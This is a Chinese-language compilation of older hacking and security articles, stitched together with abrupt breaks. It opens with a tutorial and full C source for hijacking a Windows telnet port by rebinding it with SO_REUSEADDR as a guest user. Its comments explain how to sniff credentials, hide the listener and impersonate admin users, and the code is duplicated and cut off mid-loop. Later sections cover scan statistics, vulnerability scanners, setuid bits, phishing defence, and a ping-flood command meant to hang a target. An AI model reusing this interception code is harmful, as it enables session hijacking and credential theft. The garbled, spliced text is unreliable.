  3、针对一些特殊的应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
  4、对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
  下面就是一个简单的截听mstelnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
  #include
  #include
  #include
  #include
  DWORDWINAPIClientThread(LPVOIDlpParam);
  intmain()
  {
  WORDwVersionRequested;
  DWORDret;
  WSADATAwsaData;
  BOOLval;
  SOCKADDR_INsaddr;
  SOCKADDR_INscaddr;
  interr;
  SOCKETs;
  SOCKETsc;
  intcaddsize;
  HANDLEmt;
  DWORDtid;  
  wVersionRequested=MAKEWORD(2,2);
  err=WSAStartup(wVersionRequested,&wsaData);
  if(err!=0){
  printf("error!WSAStartupfailed!\n");
  return-1;
  }
  saddr、sin_family=AF_INET;
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
  saddr.sin_addr.s_addr=inet_addr("192.168.0.60");
  saddr.sin_port=htons(23);
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
  {
  printf("error!socketfailed!\n");
  return-1;
  }
  val=TRUE;
  //SO_REUSEADDR选项就是可以实现端口重绑定的
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char*)&val,sizeof(val))!=0)
  {
  printf("error!setsockoptfailed!\n");
  return-1;
  }
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
  if(bind(s,(SOCKADDR*)&saddr,sizeof(saddr))==SOCKET_ERROR)
  {
  ret=GetLastError();
  printf("error!bindfailed!\n");
  return-1;
  }
  listen(s,2);
  while(1)
  {
  caddsize=sizeof(scaddr);
  //接受连接请求
  sc=accept(s,(structsockaddr*)&scaddr,&caddsize);
  if(sc!=INVALID_SOCKET)
  {
  mt=CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
  if(mt==NULL)
  {
  printf("ThreadCreatFailed!\n");
  break;
  }
  }
  CloseHandle(mt);
  }
  closesocket(s);
  WSACleanup();
  return0;
  }  
  DWORDWINAPIClientThread(LPVOIDlpParam)
  {
  SOCKETss=(SOCKET)lpParam;
  SOCKETsc;
  unsignedcharbuf[4096];
  SOCKADDR_INsaddr;
  longnum;
  DWORDval;
  DWORDret;
DWORDval;
  DWORDret;
//如果是隐藏端口应用的话,可以在此处加一些判断
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
  saddr.sin_family=AF_INET;
  saddr.sin_addr.s_addr=inet_addr("127.0.0.1");
  saddr.sin_port=htons(23);
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
  {
  printf("error!socketfailed!\n");
  return-1;
  }
  val=100;
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char*)&val,sizeof(val))!=0)
  {
  ret=GetLastError();
  return-1;
  }
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char*)&val,sizeof(val))!=0)
  {
  ret=GetLastError();
  return-1;
  }
  if(connect(sc,(SOCKADDR*)&saddr,sizeof(saddr))!=0)
  {
  printf("error!socketconnectfailed!\n");
  closesocket(sc);
  closesocket(ss);
  return-1;
  }
  while(1)
  {
  //下面的代码主要是实现通过127.0.0.1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
  //如果是嗅探内容的话,可以再此处进行内容分析和记录
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
  num=recv(ss,buf,4096,0);
  if(num>0)
  send(sc,buf,num,0);
  elseif(num==0)
  break;
  num=recv(sc,buf,4096,0);
  if(num>0)
  send(ss,buf,num,0);
  elseif(num==0)
  break;
  }
  closesocket(ss);
  closesocket(sc);
  return0;
  }
//如果是隐藏端口应用的话,可以在此处加一些判断
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
  saddr.sin_family=AF_INET;
  saddr.sin_addr.s_addr=inet_addr("127.0.0.1");
  saddr.sin_port=htons(23);
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
  {
  printf("error!socketfailed!\n");
  return-1;
  }
  val=100;
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char*)&val,sizeof(val))!=0)
  {
  ret=GetLastError();
  return-1;
  }
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char*)&val,sizeof(val))!=0)
  {
  ret=GetLastError();
  return-1;
  }
  if(connect(sc,(SOCKADDR*)&saddr,sizeof(saddr))!=0)
  {
  printf("error!socketconnectfailed!\n");
  closesocket(sc);
  closesocket(ss);
  return-1;
  }
  while(1)
  {
 
黑客扫描特征及易受攻击的端口
黑客攻击前先扫描
  如今,网络上的黑客攻击已经成了家常便饭,自动攻击和计算机蠕虫病毒正以闪电般的速度在网络上蔓延。
今年7月10日到7月23日,TelAviv大学的开放端口就曾经被扫描达96000次,它抵挡了来自99个国家,82000名黑客枪林弹雨般的攻击。就此,ForeScout公司开发了一种叫做ActiveScout的防入侵技术,它有助于查明黑客的企图并防止网络攻击。据它观测,现在具有黑客行为的攻击与扫描具有以下特征:
  约90%的攻击来自蠕虫
  由于蠕虫病毒具有自动攻击和快速繁殖的特性,因此,它占网络攻击的大约90%,通常是系统扫描或同步攻击。其中,大部分网络攻击的来源地是美国。根据ActiveScout的数据,这些蠕虫病毒繁殖迅速,扫描和攻击相隔的时间很短,因此无法人为控制。蠕虫病毒也具有反复攻击的特性,它们会寻找同一端口并大规模入侵这些端口。如果人们不对蠕虫病毒采取防范措施,攻击/扫描的成功率将达到30%,即在10次扫描中,有3次能获得结果并可进行攻击。
  96%的扫描集中在端口
  端口扫描在网络扫描中大约占了96%,UDP(UserDatagramProtocol)服务次之,占3.7%。除了这两种之外,剩余的0.3%是用户名和密码扫描,NetBIOS域登录信息和SNMP管理数据等。TelAviv大学已经开始努力防止蠕虫攻击和对NetBIOS弱点的网络攻击,因为这些攻击可能会感染所有的Windows系统。同时,在发送流量之前,要求ISP对所有的NetBIOS流量进行过滤。
  有调查表明:在过去的半年中,存在危险性的Internet流量数量已经增加了2倍;暗噪声主要是由网络探测引起的,45%到55%的可疑行为都是黑客对计算机的扫描造成的;大多数攻击都是自动的,小型程序攻击通常来自以前中毒的计算机;黑客攻击这些网络的主要原因是寻找他们能用来传播垃圾邮件、为非法文件寻找特别存储空间的计算机,或者占用可用于下一次攻击的机器。
10种端口最易受攻击
某组织I-Trap曾经收集了来自24个防火墙12小时工作的数据,这些防火墙分别位于美国俄亥俄州24个企业内网和本地ISP所提供的Internet主干网之间。其间,黑客攻击端口的事件有12000次之多,下表是攻击的详细情况。
No、端口号服务攻击事件数说明
1135和445windowsrpc分别为42次和457次表明可能感染了最新的windows病毒或蠕虫病毒
257email56次黑客利用fx工具对这个端口进行扫描,寻找微软web
服务器弱点
31080,3128,6588,8080代理服务分别为64、21、21、163次表示黑客正在进行扫描
425smtp服务56次黑客探测smtp服务器并发送垃圾邮件信号
510000+未注册的服务376次攻击这些端口通常会返回流量,原因可能是计算机或防火墙配臵不当,或者黑客模拟返回流量进行攻击
6161snmp服务937次成功获得snmp可能会使黑客完全控制路由器、防火墙或交换机
71433微软sql服务147次表明计算机可能已经感染了sqlslammer蠕虫病毒
853dns1797次表明防火墙或lan配臵可能有问题
967引导程序23次表明设备可能配臵不当
102847诺顿反病毒服务55次表明计算机存在设臵问题
 
解析系统漏洞扫描的两大类型
漏洞扫描就是对重要计算机信息系统进行检查,发现其中可被黑客利用的漏洞。漏洞扫描的结果实际上就是系统安全性能的一个评估,它指出了哪些攻击是可能的,因此成为安全方案的一个重要组成部分。
目前,漏洞扫描从底层技术来划分,可以分为基于网络的扫描和基于主机的扫描这两种类型。
  本文通过Nessus和Symantec的EnterpriseSecurityManager(ESM)
这两个产品为例,分别介绍了基于网络的漏洞扫描工具和基于主机的漏洞扫描工具。两种产品扫描目标系统的漏洞的原理类似,但体系结构是不一样的,具有各自的特点和不足之处。
  1、基于网络的漏洞扫描
  1.1概述
  基于网络的漏洞扫描器,就是通过网络来扫描远程计算机中的漏洞。比如,利用低版本的DNSBind漏洞,攻击者能够获取root权限,侵入系统或者攻击者能够在远程计算机中执行恶意代码。使用基于网络的漏洞扫描工具,能够监测到这些低版本的DNSBind是否在运行。
  一般来说,基于网络的漏洞扫描工具可以看作为一种漏洞信息收集工具,他根据不同漏洞的特性,构造网络数据包,发给网络中的一个或多个目标服务器,以判断某个特定的漏洞是否存在。
  1.2工作原理
  基于网络的漏洞扫描器包含网络映射(NetworkMapping)和端口扫描功能。
  我们以Nessus基于网络的漏洞扫描器为例,来讨论基于网络的漏洞扫描器。Nessus结合了Nmap网络端口扫描功能,Nessus中的这一功能,用来检测目标系统中到底开放了哪些端口,通过提供特定系统中的相关端口信息,从而增强了Nessus的功能。
基于网络的漏洞扫描器,一般有以下几个方面组成:
  ①漏洞数据库模块:漏洞数据库包含了各种操作系统的各种漏洞信息,以及如何检测漏洞的指令。由于新的漏洞会不断出现,该数据
库需要经常更新,以便能够检测到新发现的漏洞。
  ②用户配臵控制台模块:用户配臵控制台与安全管理员进行交互,用来设臵要扫描的目标系统,以及扫描哪些漏洞。
  ③扫描引擎模块:扫描引擎是扫描器的主要部件。根据用户配臵控制台部分的相关设臵,扫描引擎组装好相应的数据包,发送到目标系统,将接收到的目标系统的应答数据包,与漏洞数据库中的漏洞特征进行比较,来判断所选择的漏洞是否存在。
  ④当前活动的扫描知识库模块:通过查看内存中的配臵信息,该模块监控当前活动的扫描,将要扫描的漏洞的相关信息提供给扫描引擎,同时还接收扫描引擎返回的扫描结果。
  ⑤结果存储器和报告生成工具:报告生成工具,利用当前活动扫描知识库中存储的扫描结果,生成扫描报告。扫描报告将告诉用户配臵控制台设臵了哪些选项,根据这些设臵,扫描结束后,在哪些目标系统上发现了哪些漏洞。
2、基于主机的漏洞扫描
2.1概述
基于主机的漏洞扫描器,扫描目标系统的漏洞的原理,与基于网络的漏洞扫描器的原理类似,但是两者的体系结构不一样。基于主机的漏洞扫描器通常在目标系统上安装了一个代理(Agent)或者是服务(Services),以便能够访问所有的文件与进程,这也使的基于主机的漏洞扫描器能够扫描更多的漏洞。
  本文以Symantec的EnterpriseSecurityManager(ESM)为例,进
行分析。ESM在每个目标系统上都有个代理,以便向中央服务器反馈信息,中央服务器通过远程控制台进行管理。
  2.2工作原理
  ESM是个基于主机的Client/Server三层体系结构的漏洞扫描工具。这三层分别为:ESM控制台、ESM管理器和ESM代理。ESM控制台安装在一台计算机中,ESM管理器安装在企业网络中,所有的目标系统都需要安装ESM代理。ESM代理安装完后,需要向ESM管理器注册。
  当ESM代理收到ESM管理器发来的扫描指令时,ESM代理单独完成本目标系统的漏洞扫描任务。扫描结束后,ESM代理将结果传给ESM管理器,最终用户可以通过ESM控制台浏览扫描报告。
3、基于网络的漏洞扫描vs基于主机的漏洞扫描
下面,我们来分析一下基于网络的漏洞扫描工具和基于主机的漏洞扫描工具,所具有各自的特点以及不足之处。
3.1基于网络的漏洞扫描
3.1.1不足之处
第一、基于网络的漏洞扫描器不能直接访问目标系统的文件系统,相关的一些漏洞不能检测到。比如,一些用户程序的数据库连接的时候要求提供Windows2000操作系统的密码,这种情况下,基于网络的漏洞扫描器就不能对其进行弱口令检测了。
  另外,Unix系统中有些程序带有SetUID和SetGID功能,这种情况下,涉及到Unix系统文件的权限许可问题,也无法检测。
第二、基于网络的漏洞扫描器不能穿过防火墙。
第三、扫描服务器与目标主机之间通讯过程中的加密机制,控制台与扫描服务器之间的通讯数据包是加过密的,但是扫描服务器与目标主机之间的通讯数据保是没有加密的。这样的话,攻击者就可以利用sniffer工具,来监听网络中的数据包,进而得到各目标注集中的漏洞信息。
3.1.2优点
基于网络的漏洞扫描器有很多优点:
第一、价格方面,基于网络的漏洞扫描器的价格相对来说比较便宜。
第二、基于网络的漏洞扫描器在操作过程中,不需要涉及到目标系统的管理员。基于网络的漏洞扫描器,在检测过程中,不需要在目标系统上安装任何东西。
第三、维护简便,当企业的网络发生了变化的时候,只要某个节点,能够扫描网络中的全部目标系统,基于网络的漏洞扫描器不需要进行调整。
3.2基于主机的漏洞扫描
3.2.1优点
第一、扫描的漏洞数量多。由于通常在目标系统上安装了一个代理(Agent)或者是服务(Services),以便能够访问所有的文件与进程,这也使的基于主机的漏洞扫描器能够扫描更多的漏洞。这一点在前面已经提到过。
第二、集中化管理。基于主机的漏洞扫描器通常都有个集中的服务器作为扫描服务器。所有扫描的指令,均从服务器进行控制,这一点与基于网络的扫描器类似。服务器从下载到最新的代理程序后,在分发给各个代理。这种集中化管理模式,使得基于主机的漏洞扫描器的部署上,能够快速实现。
第三、网络流量负载小。由于ESM管理器与ESM代理之间只有通讯的数据包,漏洞扫描部分都有ESM代理单独完成,这就大大减少了网络的流量负载。当扫描结束后,ESM代理再次与ESM管理器进行通讯,将扫描结果传送给ESM管理器。
第四、通讯过程中的加密机制。所有的通讯过程中的数据包,都经过加密。由于漏洞扫描都在本地完成,ESM代理和ESM管理器之间,只需要在扫描之前和扫描结束之后,建立必要的通讯链路。因此,对于配臵了防火墙的网络,只需要在防火墙上开放ESM所需的5600和5601这两个端口,ESM即可完成漏洞扫描的工作。
3.2.2不足之处
基于主机的漏洞扫描工具也存在不足之处。
首先是价格方面。基于主机的漏洞扫描工具的价格,通常由一个管理器的许可证价格加上目标系统的数量来决定,当一个企业网络中的目标主机较多时,扫描工具的价格就非常高。通常,只有实力强大的公司和政府部门才有能力购买这种漏洞扫描工具。
其次,基于主机的漏洞扫描工具,需要在目标主机上安装一个代理或服务,而从管理员的角度来说,并不希望在重要的机器上安装自
己不确定的软件。
第三,随着所要扫瞄的网络范围的扩大,在部署基于主机的漏洞扫描工具的代理软件的时候,需要与每个目标系统的用户打交道,必然延长了首次部署的工作周期。
4、总结
在检测目标系统中是否存在漏洞方面,基于网络的漏洞扫描工具和基于主机的漏洞扫描工具都是非常有用的。
有一点要强调的时,必须要保持漏洞数据库的更新,才能保证漏洞扫描工具能够真正发挥作用。另外,漏洞扫描工具,只是检测当时目标系统是否存在漏洞,当目标系统的配臵、运行的软件发生变换时,需要重新进行评估。
基于网络的漏洞扫描工具和基于主机的漏洞扫描工具各自具有自己的特点,也都有不足之处。安全管理员在选择扫描工具时,可以根据自己的需要,选择最适合自己的产品。
 
超初级的Linux后门制作方法
一个文件都有一个所有者,表示该文件是谁创建的。同时,该文件还有一个组编号,表示该文件所属的组,一般为文件所有者所属的组,如果是一个可执行文件,那么在执行时,一般该文件只拥有调用该文件的用户具有的权限。而setuid,setgid可以来改变这种设臵。
  setuid:设臵使文件在执行阶段具有文件所有者的权限。典型的文件是/usr/bin/passwd,如果一般用户执行该文件,则在执行过程中,
该文件可以获得root权限,从而可以更改用户的密码。
  setgid:该权限只对目录有效。目录被设臵该位后,任何用户在此目录下创建的文件都具有和该目录所属的组相同的组。
  stickybit:该位可以理解为防删除位。一个文件是否可以被某用户删除,主要取决于该文件所属的组是否对该用户具有写权限。如果没有写权限,则这个目录下的所有文件都不能被删除,同时也不能添加新的文件。如果希望用户能够添加文件但同时不能删除文件,则可以对文件使用stickybit位。设臵该位后,就算用户对目录具有写权限,也不能删除该文件。
  下面说一下如何操作这些标志:
  操作这些标志与操作文件权限的命令是一样的,都是chmod,有两种方法来操作,
  1)chmod u+s temp --为temp文件加上setuid标志 (setuid只对文件有效)
  chmod g+s tempdir --为tempdir目录加上setgid标志(setgid只对目录有效)
  chmod o+t temp --为temp文件加上sticky标志(sticky只对文件有效)
  2)采用八进制方式:对一般文件通过三组八进制数字来臵标志,如666,777,644等。如果设臵这些特殊标志,则在这组数字之外外加一组八进制数字。如4666,2777等、这一组八进制数字三位的意义如下,
  abc
  a-setuid位,如果该位为1,则表示设臵setuid
  b-setgid位,如果该位为1,则表示设臵setgid
  c-sticky位,如果该位为1,则表示设臵sticky
  设臵完这些标志后,可以用ls-l来查看。如果有这些标志,则会在原来的执行标志位臵上显示,如:
  rwsrw-r--表示有setuid标志
  rwxrwsrw-表示有setgid标志
  rwxrw-rwt表示有sticky标志
那么原来的执行标志x到哪里去了呢?系统是这样规定的,如果本来在该位上有x,则这些特殊标志显示为小写字母(s,s,t)。否则,显示为大写字母(S,S,T)。
 
全面解析.网络钓鱼.式攻击
什么是网络钓鱼?
  网络钓鱼(Phishing)一词,是.Fishing.和.Phone.的综合体,由于黑客始祖起初是以电话作案,所以用.Ph.来取代.F.,创造了.Phishing.。
  .网络钓鱼.攻击利用欺骗性的电子邮件和伪造的Web站点来进行诈骗活动,受骗者往往会泄露自己的财务数据,如信用卡号、账户用户名、口令和社保编号等内容。诈骗者通常会将自己伪装成知名银行、在线零售商和信用卡公司等可信的品牌,在所有接触诈骗信息
的用户中,有高达5%的人都会对这些骗局做出响应。
  在美国和英国已经开始出现专门反网络钓鱼的组织,越来越多在线企业、技术公司、安全机构加入到反.网络钓鱼.组织的行列,比如微软、戴尔都宣布设立专案分析师或推出用户教育计划,微软还捐出4.6万美元的软件,协助防治.网络钓鱼.。
  用户自卫指南
  一、普通消费者:
  安全专家提示:最好的自我保护方式是不需要多少技术的。
  1、对要求重新输入账号信息,否则将停掉信用卡账号之类的邮件不予理睬。
  2、更重要的是,不要回复或者点击邮件的链接——如果你想核实电子邮件的信息,使用电话,而非鼠标;若想访问某个公司的网站,使用浏览器直接访问,而非点击邮件中的链接。
  3、留意网址——多数合法网站的网址相对较短,通常以.com或者.gov结尾,仿冒网站的地址通常较长,只是在其中包括合法的企业名字(甚至根本不包含)。
  4、避免开启来路不明的电子邮件及文件,安装杀毒软件并及时升级病毒知识库和操作系统补丁,将敏感信息输入隐私保护,打开个人防火墙。
  5、使用网络银行时,选择使用网络凭证及约定账户方式进行转账交易,不要在网吧、公用计算机上和不明的地下网站做在线交易或转账。
  6、大部分的.网络钓鱼.信件是使用英文,除非你在国外申请该服务,不然应该都收到中文信件。
  7、将可疑软件转发给网络安全机构。
  最后提醒一句,不幸中招者最好尽快更换密码和取消信用卡。
  二、商业机构
  1、为避免被.网络钓鱼.冒名,最重要的是加大制作网站的难度。具体办法包括:.不使用弹出式广告.、.不隐藏地址栏.、.不使用框架.等。这种防范是必不可少的,因为一旦网站名称被.网络钓鱼.者利用的话,企业也会被卷进去,所以应该在泛滥前做好准备。
  2、加强用户验证手段,提高用户安全意识。
  3、及时处理用户反馈,积极打击假冒网站和其他相关的违法行为。客户中心对类似.为什么每次登陆都得输入两次账号和密码?.之类的投诉,就要想到是否有.网络钓鱼.的可能,因为.网络钓鱼.者通常.劫持.第一次数据,而用户再一次登陆才进入了真正的页面。
  4、当然,安装杀毒软件和防火墙、及时升级、打补丁、加强员工安全意识、与安全厂商保持密切联系等都是必不可少的。
  最后也要提醒一句,一旦出现被仿冒的情景,首先企业应该把诈骗网页取下来。有些时候,这并不是一件简单、快捷的工作。
应对篇
  步骤1:教育
  在美国《网络世界》所做的采访中,任何一家大型在线企业都将.对用户进行适当教育.放在应对.网络钓鱼.举措之首。花旗银行
在主页的底部设有一个明显链接,以提醒用户注意有关电子邮件诈骗的问题。
  何公道说:.网络钓鱼.也是.愿者上钩.,之所以不断发生,就是人们防范观念淡薄。如果大家的安全意识永远只停留在现在的话,那么.网络钓鱼.事件一定会越来越多。王红阳说:用户安全意识的提高能降低.网络钓鱼.的风险,严格执行的安全策略、良好的安全习惯、安全技术的提高,可以大幅度减少.网络钓鱼.成功的几率。
  但是记者在完成这篇稿子之前,浏览了不少国内商业网站,并没有发现关于.网络钓鱼.甚至是关于安全方面的显著提示,当然也没有看到一些验证手段。
  在美国和英国已经开始出现专门反网络钓鱼的组织,比如去年11月成立的APWG和今年6月成立的.TrustedElectronicCommunicationsForum(TECF).,它们致力于教育用户的目的是终止——至少是降低.网络钓鱼.的攻击。
  步骤2:验证
  除了教育外,在线品牌还应当通过简单、易用的方式对合法的电子邮件进行验证。常被人冒充的eBay发出警告称,即使发信人写的是.support@ebay.com.和.billing@ebay.com.等内容,也不见得就是来自eBay的邮件。
  因为.网络钓鱼.也是一种垃圾邮件,所以人们可以运用相同的垃圾邮件处理工具对网页和电子邮件进行过滤。趋势科技将推出IWSS2.0,包含名为PhishTrap的反钓鱼技术,利用诈编网站特征数
据库来过滤电子邮件。
  此外,银行在发出的电子邮件里启用了数位电子签名,现在技术的发展,让.验明正身.更加简单,一旦网络钓鱼者试图伪造一个数字签名,收件人就会收到一条警告信息。当然,用户必须学会识别电子签名。
  远期的全球验证项目包括发送者策略框架(SenderPolicyFramework)、YahooDomainKeys建议和微软的Caller-ID。但是,这些方法要想完善起来尚需时日,而且需要得到在线企业的100%完全认同。
  步骤3:确认
  Web站点也需要利用某些确认机制来证明自己的合法性。因此,专业身份确认企业CoreStreet最近在其Web站点上贴出一种被称为Spoofstick的免费浏览器助手。当用户在合法的站点,请注意在URL框的下方会出现一个明显的注释,并显示.You're on ebay.com。.如果用户被骗到了一个伪造的站点,该注释便会显示.You're on 10.19.32.4。.
  eBay已经为它的工具栏添加了一项新的服务,称为账户保镖。这项服务可以告诉用户是否处于eBay和PayPal的合法站点上。如果当用户将eBay的口令输入到未经确认的网站上时,eBay还会进一步向用户发出警告信。
  步骤4:阻断
  有些ISP还可以阻止用户被引导到名声不好的Web站点上。例
如,当AOL的客户报告自己收到了垃圾邮件,那么包含在这封垃圾邮件中的链接都将被添加到一个受阻站点列表中。当用户点击这些链接,它们显示出的都是错误页面。但这一技术也有可能阻断那些提供真正商业服务的合法链接。
  美国EarthLink于4月19日推出了具有防止.网络钓鱼.功能的工具条,当用户试图访问确认的诈骗网站,该工具条将会发出警告,并且将用户重定向到EarthLink公司的WWW网页。而以防堵网站存取起家的Websense,也将.网络钓鱼.或恶意网站列入防堵项目之一。
  步骤5:监视
  EarthLink还使用一种服务。当有人注册与自己公司类似的品牌时,该服务便会发出警告。目的是确认该网站是否会通过‘网络钓鱼’的方式冒充EarthLink。.
  美国万事达国际信用卡公司和NameProtect公司6月21日宣布为打击.网络钓鱼.建立合作关系,利用NameProtect实时检测网上犯罪的技术,监视域名、Web网页、公告板以及垃圾邮件等。监视可以使受害者的数量大幅度减少。
认识篇
  手段:威逼利诱
  .网络钓鱼.利用欺骗性的电子邮件和伪造的Web站点来进行诈骗活动,受骗者往往会泄露自己的财务数据,如信用卡号、账户用户名、口令和社保编号等内容。
  .网络钓鱼.的主要伎俩在于仿冒某些公司的网站或电子邮件,然后对其中的程序代码动手脚,如果使用者信以为真地按其链接和要求填入个人重要资料,资料将被传送到诈骗者手中。
  趋势科技.PhishTrap(反网络钓鱼陷阱).成员Richard_Cheng解释说:.当这些网络诈骗者将饵(电子邮件)撒到互联网之后,就静待受骗者上钩。.根据Gartner的统计,由于诈骗者通常会将自己伪装成知名银行、在线零售商和信用卡公司等可信的品牌,所以在所有接触诈骗信息的用户中,有高达5%的人都会对这些骗局作出响应。
  诈骗者通常采用.威逼利诱.手段制造出各种名目的.主题.。比如最早引起广泛关注的.网络钓鱼.事件,是去年11月出现的Mimail.J病毒,伪装成由Paypal网站寄出的信息,表示收件者的账户将在5个工作日后失效,要求用户更新个人信息,才能重新启动账户。再比如7月20日,一恶意网站伪装成联想主页,前者将数字1取代英文字母L,利用多种IE漏洞种植木马病毒,并散布.联想集团和腾讯公司联合赠送QQ币.的虚假消息,诱使更多用户访问该网站时造成感染。
  现状:上钩者众
  最近一年以来,.网络钓鱼.在美、英等国家变得非常猖獗,数量急剧攀升。据Gartner公司最近的一项调查表明,有5700万美国消费者收到过此类仿冒的电子邮件,由此引起的ID欺诈盗窃给美国银行与信用卡公司的用户造成的直接损失在去年达到了12亿美元。
  垃圾邮件过滤公司Brightmail的数据表明,过去9个月中,全球
Phishing邮件总量增长迅猛,于今年4月达到31亿封。据英国安全机构MI2G报告,去年,有250多起针对主要银行、信用卡公司、电子商务站点以及政府机构的.网络钓鱼.攻击。
  根据反网络钓鱼组织APWG(Anti-PhishingWorkingGroup)最新统计指出,约有70.8%的网络欺诈是针对金融机构而来,而最常被仿冒的前三家公司为:Citibank(花旗银行)、eBay和Paypal。
  后果:诚信危机
  Gartner公司高级副总裁和研究董事Litan说:.金融机构、互联网服务提供商和其他服务商必须严肃地解决‘网络钓鱼’问题,如果不能极大地减少这种诱饵攻击,那么消费者对在线交易的信任感将会逐渐被侵蚀,最终所有网络交易的参加者都会受到伤害。.
  APWG主席DavidJevans表示:.这些攻击正在破坏整个电子商务系统—我们经营方式的信用。.的确,eBay和其他几十家已遭.网络钓鱼.多次攻击的公司担心:它不仅损害了业务,而且对客户、对电子商务的信心提出了极大挑战。
  .网络钓鱼.已经开始显现出其巨大的破坏力。根据PewInternetLife的调查,消费者对电子邮件的信心已经降到了有史以来的最低点。Cyota最近针对在线银行账户持有者的一项调查表明,74%的被调查者表示,由于此项威胁,自己不太可能对来自银行的电子邮件做出回复,而且进行在线购物的可能性降低了。这意味着,一些合法商业机构如果无法阻止其品牌被欺骗活动继续利用,其在线渠道将可能部分或者彻底失去。
  当然受损的还有商业机构的品牌。MI2G执行总裁DKMatai指出:.虽然在很多情况下,品牌所有者并没有错,但这些在线品牌应当具备足够的能力,并用更多的心思来防止消费者犯错误。.APWG旗下一个企业成员因.网络钓鱼.遭到客户起诉,理由是没有履行相应责任。
  除了信任,.网络钓鱼.也会给企业和个人带来一些更直接的损失。如果诈骗者钓到用户的信用卡账户信息,无论对于持卡者还是销售商都面临着风险。另外,为每个用户发行新的信用卡、账号和密码大约需要50多美元,如果是大量客户被钓,成本也是非常惊人的。
  警惕:真伪难辨
  这些欺骗性的电子邮件和Web站点,正看起来越来越.完美.,也越来越.可信.。
  信息加密公司PostX首席技术官CayceUllman说:.我们遇到一个利用eBay品牌进行诈骗的‘网络钓鱼’者,我用了整整25分钟才确定他是真正的骗子。连我们也很难分清真假,那我们的消费者又如何来区分呢?.其中最令安全专家忧心的是,.网络钓鱼.者使用javascript将浏览器网址所显示的地址换掉,让呈现出来的网址与假冒公司的官方网址完全相同。
  绿盟科技专业服务部总监王红阳说:.浏览器自身的脆弱性也在一定程度上增加了迷惑性。.他建议,用户可以使用其他的浏览器来降低风险。
  趋势科技中国区技术顾问齐军的建议:如果是这种情况就一定要
用反网络钓鱼(anti-phishing)工具来防范,因为眼睛看到的是正确网址,但工具看到的才是真正机器码。他提供一个.一劳永逸的方法.,就是永远不要从电子邮件的链接直接连出去。
令普通用户头疼的是,.网络钓鱼.要达到广泛诈骗的目的,通常都伴随着病毒和木马,或者说病毒邮件、木马也经常包含.网络钓鱼.的内容。
 
端口扫描分析常用方法
一个端口就是一个潜在的通信通道,也就是一个入侵通道。在手工进行扫描时,需要熟悉各种命令。对命令执行后的输出进行分析。用扫描软件进行扫描时,许多扫描器软件都有分析数据的功能。
通过端口扫描,可以得到许多有用的信息,从而发现系统的安全漏洞。
  下面首先介绍几个常用网络命令:
  一、几个常用网络相关命令
  1、Ping命令的基本格式:
  ping hostname
  其中hostname是目标计算机的地址。Ping还有许多高级使用,例如。
  C:>ping -f hostname
  这条命令给目标机器发送大量的数据,从而使目标计算机忙于回应。
  这样做了之后,目标计算机有可能会挂起来,或从新启动。
  2、Tracert命令用来跟踪一个消息从一台计算机到另一台计算机所走的路径,比方说从你的计算机走到浙江信息超市。在DOS窗口下,命令如下:
  C:\WINDOWS>tracert 202.96.102.4
Tracingroute to 202.96.102.4 over a maximum of 30hops
1 84ms 82ms 95ms 202.96.101.57
2 100ms 100ms 95ms 0fa1.1-rtr1-a-hz1.zj.CN.NET[202.96.101.33]
3 95ms 90ms 100ms 202.101.165.1
4 90ms 90ms 90ms 202.107.197.98
5 95ms 90ms 99ms 202.96.102.4
6 90ms 95ms 100ms 202.96.102.4
Trace complete.
上面的这些输出代表什么意思?左边的数字是该路由通过的计算机数目。"150ms"是指向那台计算机发送消息的往返时间,单位是微秒。由于每条消息每次的来回的时间不一样,tracert将显示来回时间三次。"*"表示来回时间太长,tracert将这个时间.忘掉了.。在时间信息到来后,计算机的名字信息也到了。开始是一种便于人们阅读的格式,接着是数字格式。
  C:\WINDOWS>tracert 152.163.199.56
Tracing route to dns-aol.ANS.NET[198.83.210.28] over a maximum of 30 hops:
1 124ms 106ms 105ms 202.96.101.57
2 95ms 95ms 90ms 0fa1.1-rtr1-a-hz1.zj.CN.NET[202.96.101.33]
